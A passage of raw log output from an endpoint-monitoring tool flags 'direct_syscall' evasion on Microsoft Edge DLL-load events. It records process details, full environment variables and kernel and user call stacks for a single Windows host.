(x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcda2b23f2 C:\Windows\System32\IPHLPAPI.DLL!GetIpInterfaceEntry|0x7ffcda2b9f6d C:\Windows\System32\IPHLPAPI.DLL!CreateIpNetEntry2|0x7ffcda2a2a58 C:\Windows\System32\IPHLPAPI.DLL!ConvertGuidToStringA|0x7ffcda2a1e20 C:\Windows\System32\IPHLPAPI.DLL!GetAdaptersAddresses|0x7ffc8e816c30 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f130295 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f13021d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12ec1c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12d7d5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12cf5b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cec37c1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec2704 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4180492 + Pid: 7364 + Tid: 19332 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.1729996 +0100 CET + Params: base_address➜ 7ffcd6070000, checksum➜ 1123662, default_address➜ 7ffcd6070000, file_path➜ C:\Windows\System32\propsys.dll, image_size➜ 1060864, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcd998c922 C:\Windows\System32\windows.storage.dll!RegistryVerbs_GetHandlerMultiSelectModel|0x7ffcd9a9315c C:\Windows\System32\windows.storage.dll!STORAGE_SHCreateDirectoryExA|0x7ffcd9798df9 C:\Windows\System32\windows.storage.dll!Ordinal850|0x7ffcd974c18b C:\Windows\System32\windows.storage.dll!IsRemovableDevicePath|0x7ffcd98dd685 C:\Windows\System32\windows.storage.dll!Ordinal740|0x7ffcd987338b C:\Windows\System32\windows.storage.dll!PathGetPathDisplayName|0x7ffcd9873244 C:\Windows\System32\windows.storage.dll!PathGetPathDisplayName|0x7ffcd9915690 C:\Windows\System32\windows.storage.dll!IsUnderKnownFolder|0x7ffcd9915569 C:\Windows\System32\windows.storage.dll!IsUnderKnownFolder|0x7ffcd99152a2 C:\Windows\System32\windows.storage.dll!IsUnderKnownFolder|0x7ffcd97a5ffd C:\Windows\System32\windows.storage.dll!Ordinal862|0x7ffcd97a4c4c C:\Windows\System32\windows.storage.dll!CDesktopFolder_CreateInstanceWithBindContext|0x7ffcd99bb1cb C:\Windows\System32\windows.storage.dll!Global_WindowsStorage_esServerMode|0x7ffcd98ad57d C:\Windows\System32\windows.storage.dll!Ordinal847|0x7ffcd98adc6e C:\Windows\System32\windows.storage.dll!Ordinal847|0x7ffcd98979d7 C:\Windows\System32\windows.storage.dll!CreateItemFromLink|0x7ffcd9ac7513 C:\Windows\System32\windows.storage.dll!Ordinal844|0x7ffcd9afea83 C:\Windows\System32\windows.storage.dll!AssocCreateListForClasses|0x7ffcd99a8a24 C:\Windows\System32\windows.storage.dll!STORAGE_SHGetDesktopFolderWorker|0x7ffcdda4ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda4a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda49c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4181408 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.1746673 +0100 CET + Params: base_address➜ 7ffcd3530000, checksum➜ 145503, default_address➜ 7ffcd3530000, file_path➜ C:\Windows\System32\dhcpcsvc6.dll, image_size➜ 122880, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcda2b23f2 C:\Windows\System32\IPHLPAPI.DLL!GetIpInterfaceEntry|0x7ffcda2ba20a C:\Windows\System32\IPHLPAPI.DLL!CreateIpNetEntry2|0x7ffcda2a103f C:\Windows\System32\IPHLPAPI.DLL!?|0x7ffcda2a41b8 C:\Windows\System32\IPHLPAPI.DLL!ConvertGuidToStringW|0x7ffcda2a34c2 C:\Windows\System32\IPHLPAPI.DLL!ConvertGuidToStringA|0x7ffcda2a1e20 C:\Windows\System32\IPHLPAPI.DLL!GetAdaptersAddresses|0x7ffc8e816c30 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f130295 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f13021d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12ec1c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12d7d5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12cf5b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cec37c1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec2704 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4181454 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.176625 +0100 CET + Params: base_address➜ 7ffcd34c0000, checksum➜ 184216, default_address➜ 7ffcd34c0000, file_path➜ C:\Windows\System32\dhcpcsvc.dll, image_size➜ 143360, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program 